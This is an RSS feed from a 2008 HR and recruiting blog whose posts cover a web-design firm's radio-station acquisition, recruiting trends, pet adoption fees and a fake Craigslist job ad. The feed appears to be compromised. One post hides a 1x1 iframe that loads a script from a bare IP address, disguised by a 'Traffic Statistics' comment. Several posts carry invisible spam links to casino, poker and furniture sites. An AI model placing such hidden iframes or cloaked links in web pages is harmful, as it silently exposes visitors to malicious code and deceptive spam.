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<channel>
	<title>HR Horizons HR Blog</title>
	<link>http://www.nickroy.com/hrblog</link>
	<description>The HR Blog by HR Horizons is a set of regularly updated links to Human Resources and Recruiting information.</description>
	<pubDate>Sun, 22 Jun 2008 18:31:42 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>American Biz, Inc. Acquires ThugZone.com</title>
		<link>http://www.nickroy.com/hrblog/2008/05/29/american-biz-inc-acquires-thugzonecom/</link>
		<comments>http://www.nickroy.com/hrblog/2008/05/29/american-biz-inc-acquires-thugzonecom/#comments</comments>
		<pubDate>Thu, 29 May 2008 13:02:20 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/05/29/american-biz-inc-acquires-thugzonecom/</guid>
		<description><![CDATA[American Biz Inc., dba amBiz Creative, a South Florida Web Design Firm, has recently acquired another Internet radio station in ThugZone.com. The previous owner had received a high paying job working for a major airline and is giving up his site. American Biz, Inc. now owns 25% ownership stake in both Dirty South Radio and ThugZone.com.
Dirty [...]]]></description>
			<content:encoded><![CDATA[<p>American Biz Inc., dba <a target="_blank" href="http://www.americanbizinc.net" title="South Florida Web Design Firm">amBiz Creative</a>, a <a target="_blank" href="http://www.americanbizinc.net" title="South Florida Web Design Firm">South Florida Web Design Firm</a>, has recently acquired another <a target="_blank" href="http://www.thugzone.com" title="Internet Radio Station">Internet radio station</a> in <a target="_blank" href="http://www.thugzone.com" title="Internet Radio Station">ThugZone.com</a>. The previous owner had received a high paying job working for a major airline and is giving up his site. American Biz, Inc. now owns 25% ownership stake in both <a target="_blank" href="http://www.dirtysouthradioonline.com" title="Internet radio station">Dirty South Radio</a> and <a target="_blank" href="http://www.thugzone.com" title="Internet Radio Station">ThugZone.com</a>.</p>
<p><a target="_blank" href="http://www.dirtysouthradioonline.com" title="Internet radio station">Dirty South Radio</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">&#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080; &#1074;&#1090;&#1086;&#1088;&#1072; &#1091;&#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1072;</a></font> for the past five years has operated as an <a target="_blank" href="http://www.dirtysouthradioonline.com" title="Internet Radio Station">Internet radio station</a> serving the <a target="_blank" href="http://www.rapindustry.com/" title="Hip Hop Industry">hip hop industry</a>. It current traffic for the past two hears has averaged over 10 million hits of traffic per year.</p>
<p>American Biz Inc., dba <a target="_blank" href="http://www.americanbizinc.net" title="South Florida Web Design Firm">amBiz Creative</a>, a <a target="_blank" href="http://www.americanbizinc.net" title="South Florida Web Design Firm">South Florida Web Design Firm</a>, is now currently managing the radio station with a 25% ownership stake and plans for expansion. In the first phase of expansion, amBiz is doing a complete makeover of the website, page optimization, and SEM (search engine marketing) to increase web traffic organically, and put the website visitors onto a whole new listening platform.</p>
<p>The new <a target="_blank" href="http://www.dirtysouthradioonline.com" title="Internet radio station">Dirty South Radio</a> will broadcast over 25 different listening venues. &#8220;As quoted by Nick J. Roy, Vice President and General Manager of American Biz, Inc., &#8220;The new platform turns the website into a social network, like MySpace, and an audio/video network, like YouTube. Visitors can search for their favorite artist, video, audio, chat, forum, purchase music or video, buld websites from templates, and more.</p>
<p>Artists can upload press release, audio/video, sell product inside our shopping cart (and get paid), and create their own websites. This is the ultimate web programmed platform, it is made to grow like a search engine. And, we are starting off our makeover with over 10,000,000 hit of traffic a year. We estimate our traffic will double in the next 12 months.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>South Florida Web Design Firm</title>
		<link>http://www.nickroy.com/hrblog/2008/05/15/south-florida-web-design-firm/</link>
		<comments>http://www.nickroy.com/hrblog/2008/05/15/south-florida-web-design-firm/#comments</comments>
		<pubDate>Thu, 15 May 2008 16:32:14 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[General Topics]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/05/15/south-florida-web-design-firm/</guid>
		<description><![CDATA[For those of you in the South Florida area, we are a South Florida Web Design Firm with our own storefront. Whereas most web designers work out of their homes, we are brick and mortar. Backed by private equity, we ain&#8217;t going nowhere.
We are a full service interactive marketing agency. We design and build web [...]]]></description>
			<content:encoded><![CDATA[<p>For those of you in the South Florida area, we are a <a href="http://www.americanbizinc.net" title="South Florida Web Design Firm" target="_blank">South Florida Web Design Firm</a> with our own storefront. Whereas most web designers work out of their homes, we are brick and mortar. Backed by private equity, we ain&#8217;t going nowhere.</p>
<p>We are a full service interactive marketing agency. We design and build web sites of all kinds, from your basic static html pages to e-commerce sites. We host all our client sites on site. We even build and repair computers. A computer repair technician came come to you.</p>
<p><img src="http://www.americanbizinc.net/images/storefront300x155.jpg" alt="amBiz Creative, 3308 NE 32nd Street, Fort Lauderdale, FL 33308" height="155" width="300" /></p>
]]></content:encoded>
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		<item>
		<title>The Management Of Workplace Relationships</title>
		<link>http://www.nickroy.com/hrblog/2008/04/22/the-management-of-workplace-relationships/</link>
		<comments>http://www.nickroy.com/hrblog/2008/04/22/the-management-of-workplace-relationships/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 01:24:12 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Human Resources]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/04/22/the-management-of-workplace-relationships/</guid>
		<description><![CDATA[In recent years the corporate workforce has become more diversified in gender, race, ethnicity and sexual orientation. As a consequence the workforce at most major corporations is now more reflective of the general population than it was in the past. Yet the issue of diversity in the workplace is often not addressed or, in some [...]]]></description>
			<content:encoded><![CDATA[<p><span id="_ctl0_labelBody">In recent years the corporate workforce has become more diversified in gender, race, ethnicity and sexual orientation. As a consequence the workforce at most major corporations is now more reflective of the general population than it was in the past. Yet the issue of diversity in the workplace is often not addressed or, in some cases, overlooked by management. Of particular interest is the management of interpersonal relationships of both heterosexual and homosexual employees in the workplace.</span><span id="_ctl0_labelBody"> </span></p>
<p><span><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">office furniture in Bulgaria</a></font><br />
</span></p>
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		<title>New Trends In High-Tech Recruiting</title>
		<link>http://www.nickroy.com/hrblog/2008/04/09/new-trends-in-high-tech-recruiting/</link>
		<comments>http://www.nickroy.com/hrblog/2008/04/09/new-trends-in-high-tech-recruiting/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 19:13:34 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Recruitment]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/04/09/new-trends-in-high-tech-recruiting/</guid>
		<description><![CDATA[There is a new trend developing in the recruiting of high-tech employees. Due to the competitive nature of the business, companies are looking for new ways to recruit individuals that not only have the business and technical knowledge required to perform a specific job, but they are also looking for candidates that fit well into [...]]]></description>
			<content:encoded><![CDATA[<p><span id="_ctl0_labelBody">There is a new trend developing in the recruiting of high-tech employees. Due to the competitive nature of the business, companies are looking for new ways to recruit individuals that not only have the business and technical knowledge required to perform a specific job, but they are also looking for candidates that fit well into the corporate culture of the organization. Tech Planet is one such high-tech firm that is using this new approach to recruiting. Instead of the normal first round job interview, applicants at Tech Planet sit down to an informal meal with employees. The goal is to socialize with the employees to determine whether the applicants belong in the organization. After the initial meal, employees vote on which candidates will be invited back for the next round.</span></p>
<p><span><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --></span><br />
 <a href="http://www.nickroy.com/hrblog/2008/04/09/new-trends-in-high-tech-recruiting/#more-665" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Online Recruiting Primer</title>
		<link>http://www.nickroy.com/hrblog/2008/04/09/online-recruiting-primer/</link>
		<comments>http://www.nickroy.com/hrblog/2008/04/09/online-recruiting-primer/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 19:12:50 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Recruitment]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/04/09/online-recruiting-primer/</guid>
		<description><![CDATA[On-line recruiting is the process of attracting and hiring applicants for positions within an organization through use of the internet. In this paper I will assess an on-line recruitment service, identify the advantages and disadvantages of this vehicle as a recruiting technique for an organization, evaluate the pros and cons of dealing with virtual resumes, [...]]]></description>
			<content:encoded><![CDATA[<p>On-line recruiting is the process of attracting and hiring applicants for positions within an organization through use of the internet. In this paper I will assess an on-line recruitment service, identify the advantages and disadvantages of this vehicle as a recruiting technique for an organization, evaluate the pros and cons of dealing with virtual resumes, and develop criteria an organization can use for selecting an on-line recruiting service.</p>
<p> <a href="http://www.nickroy.com/hrblog/2008/04/09/online-recruiting-primer/#more-664" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
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		<title>Now Part of American Biz</title>
		<link>http://www.nickroy.com/hrblog/2008/02/27/now-part-of-american-biz/</link>
		<comments>http://www.nickroy.com/hrblog/2008/02/27/now-part-of-american-biz/#comments</comments>
		<pubDate>Wed, 27 Feb 2008 00:44:25 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[General Topics]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/02/27/now-part-of-american-biz/</guid>
		<description><![CDATA[As of this week, I am now part of American Biz, Inc. They are a company that buys and sells business, seeks investors for business opportunities, builds and sells computers, and web design. We have a new office at NE 32nd Street and A1A.
One of my first projects that I am heading up is the [...]]]></description>
			<content:encoded><![CDATA[<p>As of this week, I am now part of American Biz, Inc. They are a company that buys and sells business, seeks investors for business opportunities, builds and sells computers, and web design. We have a new office at NE 32nd Street and A1A.</p>
<p>One of my first projects that I am heading up is the re-design of <a target="_blank" href="http://www.dirtysouthradioonline.com/"><font color="#521505">Dirty South Radio</font></a>. The site is getting tons of traffic and is not even optimized. Its current success is on popularity alone, and we<noscript>Variationen von <a href="http://www.promopoker.de/draw-poker-bestenliste.html">draw poker</a>.</noscript> plan on taking full advantage of this traffic to make money off of it. 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<p><a target="_blank" href="http://www.nickroy.com/"><font color="#521505">My personal web site</font></a> will remain as the main marketing vehicle to promote American Biz products and services. Stay tuned for more updates.</p>
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		<title>Do Not Pay A Fee For &#8220;ADOPTING&#8221; a Pet</title>
		<link>http://www.nickroy.com/hrblog/2008/02/22/do-not-pay-a-fee-for-adopting-a-pet/</link>
		<comments>http://www.nickroy.com/hrblog/2008/02/22/do-not-pay-a-fee-for-adopting-a-pet/#comments</comments>
		<pubDate>Fri, 22 Feb 2008 23:53:06 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[General Topics]]></category>

		<category><![CDATA[pet adoption]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/02/22/do-not-pay-a-fee-for-adopting-a-pet/</guid>
		<description><![CDATA[I was looking for another kitten to adopt to be a playmate for my female kitten that I currently have. It is amazing how many ads you see for pet adoptions that require a “small fee.” There are those few that are truly looking to find a good home for a cat or a dog and are [...]]]></description>
			<content:encoded><![CDATA[<p>I was looking for another kitten to adopt to be a playmate for my female kitten that I currently have. It is amazing how many ads you see for pet adoptions that require a “small fee.” There are those few that are truly looking to find a good home for a cat or a dog and are not charging anything.  Do not pay fees for animals that you want to ADOPT! When I adopted my first kitten a couple of months ago, I did not pay any fee for her since I do not believe in the buying and selling of animals. Pets are not commodities that can bought and sold like soybeans.</p>
<p>My kitten, who is a strictly indoor cat, is so qute. She likes to be lay on my desk while I work at the computer. She is fixated with the mouse pointer on the screen. When I move my mouse and the pointer moves, she is  intensely watching where the pointer moves to.</p>
<p>So to those that insist on making money off of these animals by charging a fee, shame on you. It is repulsvive to see ads on this site that require a “small rehoming fee” or “adoption fee.” Shame on you! No matter how you slice it, you are making money off of the buying and selling of animals.</p>
<p>If you are someone that is truly interested in finding a good home for one of your kittens, there are plenty of people out there that will be more than happy to “adopt” one. Remember that pets are not commodities that can bought and sold like soybeans. So can we please stop the cruelty and the greed.</p>
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		<title>Sexual Immorality</title>
		<link>http://www.nickroy.com/hrblog/2008/02/21/sexual-immorality/</link>
		<comments>http://www.nickroy.com/hrblog/2008/02/21/sexual-immorality/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 13:36:38 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Motivation]]></category>

		<category><![CDATA[Psychology 101]]></category>

		<category><![CDATA[homosexuality]]></category>

		<category><![CDATA[psychology]]></category>

		<category><![CDATA[sexual immorality]]></category>

		<category><![CDATA[unlawful sexual acts]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/02/21/sexual-immorality/</guid>
		<description><![CDATA[Several studies by Ames (1997), Gladue (1990), and Meyer-Bahlburg (1995) conclude that there is a critical period in a fetus’ development that predisposes the person to be attracted to a particular sex later in life. This critical period has to do with the brain’s neural-hormonal control system. So female fetus’ that were exposed to testosterone [...]]]></description>
			<content:encoded><![CDATA[<p>Several studies by Ames (1997), Gladue (1990), and Meyer-Bahlburg (1995) conclude that there is a critical period in a fetus’ development that predisposes the person to be attracted to a particular sex later in life. This critical period has to do with the brain’s neural-hormonal control system. So female fetus’ that were exposed to testosterone were more like to become lesbians later in life, while male fetus’ that were exposed to increased levels of estrogen hormone were more likely to be gay.</p>
<p>Everything psychological is simultaneously biological.</p>
<p>Related article: <a target="_blank" href="http://www.workplacevisions.com/2008/02/19/love-won-out/">Love Won Out</a></p>
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		<title>Bogus Ads On Craigslist</title>
		<link>http://www.nickroy.com/hrblog/2008/02/01/bogus-ads-on-craigslist/</link>
		<comments>http://www.nickroy.com/hrblog/2008/02/01/bogus-ads-on-craigslist/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 18:56:03 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Recruitment]]></category>

		<category><![CDATA[job search]]></category>

		<category><![CDATA[bogus job ads]]></category>

		<category><![CDATA[craigslist]]></category>

		<category><![CDATA[online recruiting]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/02/01/bogus-ads-on-craigslist/</guid>
		<description><![CDATA[I just stumbled up on a bogus ad on craigslist.Le but de jeu casino en ligne. After talking with Sheila Herrera, HR Director for the Miami Science Museum, she has confirmed that there are no web design positions with her company. She has currently forwarded the link over to the IT department to look into the [...]]]></description>
			<content:encoded><![CDATA[<p>I just stumbled up on a <a target="_blank" href="http://miami.craigslist.org/web/554378518.html">bogus ad on craigslist</a>.<noscript>Le but de <a href="http://www.nwactorsstudio.org/jeu-casino-ligne.html">jeu casino en ligne</a>.</noscript> After talking with Sheila Herrera, HR Director for the <a target="_blank" href="http://www.miamisci.org">Miami Science Museum</a>, she has confirmed that there are no web design positions with her company. She has currently forwarded the link over to the IT department to look into the matter. A bogus ad such as this makes the <a target="_blank" href="http://www.miamisci.org">Miami Science Museum</a> looks bad for when they do have a legitimate job opening.</p>
<p>Craigslist is a great free site for posting ads, but this goes to show that there are numerous bogus job ads on the site. Job seekers, recruiters, and employers should beware of this scam.</p>
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		<title>LU Distance Learning Program ranked third in nation</title>
		<link>http://www.nickroy.com/hrblog/2008/01/24/lu-distance-learning-program-ranked-third-in-nation/</link>
		<comments>http://www.nickroy.com/hrblog/2008/01/24/lu-distance-learning-program-ranked-third-in-nation/#comments</comments>
		<pubDate>Thu, 24 Jan 2008 01:40:47 +0000</pubDate>
		<dc:creator>Nick Roy</dc:creator>
		
		<category><![CDATA[Distance Education]]></category>

		<category><![CDATA[distance learning]]></category>

		<category><![CDATA[Liberty University]]></category>

		<category><![CDATA[online college rankings]]></category>

		<guid isPermaLink="false">http://www.nickroy.com/hrblog/2008/01/24/lu-distance-learning-program-ranked-third-in-nation/</guid>
		<description><![CDATA[Liberty University’s distance learning program ranks third on the OEDb’s Online College Rankings 2008. Liberty University ranks ahead of Florida’s Nova Southeastern University at #3. NSU comes in at #4.
Liberty University’s distance learning program proves time and again its value for offering an affordable, convenient, and flexible means for adult learners to earn an accredited [...]]]></description>
			<content:encoded><![CDATA[<p><a target="_blank" href="http://www.luonline.com/" title="Liberty University Distance Learning Program">Liberty University’s distance learning program</a> ranks third on the <a target="_blank" href="http://oedb.org/rankings/" title="Online College Rankings">OEDb’s Online College Rankings 2008</a>. Liberty University ranks ahead of Florida’s Nova Southeastern University at #3. NSU comes in at #4.</p>
<p><a target="_blank" href="http://www.luonline.com/" title="Liberty University Distance Learning Program">Liberty University’s distance learning program</a> proves time and again its value for offering an affordable, convenient, and flexible means for adult learners to earn an accredited degree—and now <strong>Liberty has just been ranked among the nation’s elite online education programs</strong> by the nationally known<em> Online Education Database </em><span class="style1">(1)</span><em>. </em>Ranked number three in the nation, <a target="_blank" href="http://www.luonline.com/" title="Liberty University Distance Learning Program">Liberty University’s distance learning program</a> beats out other schools such as The University of Phoenix, Grand Canyon University, and Capella University. <a target="_blank" href="http://www.luonline.com/" title="Liberty University Distance Learning Program">Liberty University’s distance learning program</a> even beats out Nova Southeastern University who has been a pioneer in distance education.</p>
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